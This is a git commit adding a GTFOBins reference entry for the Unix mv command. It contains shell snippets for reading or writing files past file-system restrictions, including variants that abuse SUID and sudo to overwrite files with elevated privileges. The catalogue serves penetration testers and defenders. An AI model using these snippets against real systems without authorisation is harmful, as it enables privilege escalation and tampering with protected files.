Add mv as suggested in #20

This commit is contained in:
Emilio Pinna 2018-09-03 21:38:22 +01:00
parent 508a06c14a
commit 08a82c913a

28
_gtfobins/mv.md Normal file
View File

@ -0,0 +1,28 @@
---
description: This can be used to read or write files outside a restricted file systems or with elevated privileges.
functions:
file-write:
- code: |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
mv $TF $LFILE
file-read:
- code: |
LFILE=file_to_read
TF=$(mktemp)
mv $LFILE $TF
cat $TF
suid-enabled:
- code: |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
./mv $TF $LFILE
sudo-enabled:
- code: |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
sudo mv $TF $LFILE
---